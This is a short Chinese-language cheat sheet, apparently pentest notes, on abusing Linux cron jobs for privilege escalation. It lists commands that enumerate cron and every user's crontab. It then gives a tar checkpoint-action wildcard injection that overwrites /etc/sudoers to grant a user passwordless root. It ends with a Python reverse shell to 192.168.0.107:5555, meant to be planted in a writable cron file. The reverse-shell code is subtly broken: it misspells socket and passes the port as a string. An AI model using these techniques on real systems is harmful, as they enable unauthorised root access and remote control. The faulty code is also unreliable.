# Linux计划任务

```
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*

>for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done 列举所有用户的crontab
$cat /etc/crontab
$echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
$echo "" > "--checkpoint-action=exec=sh test.sh"
$echo "" > --checkpoint=1
或编辑可写的计划任务文件
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.107","5555"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```


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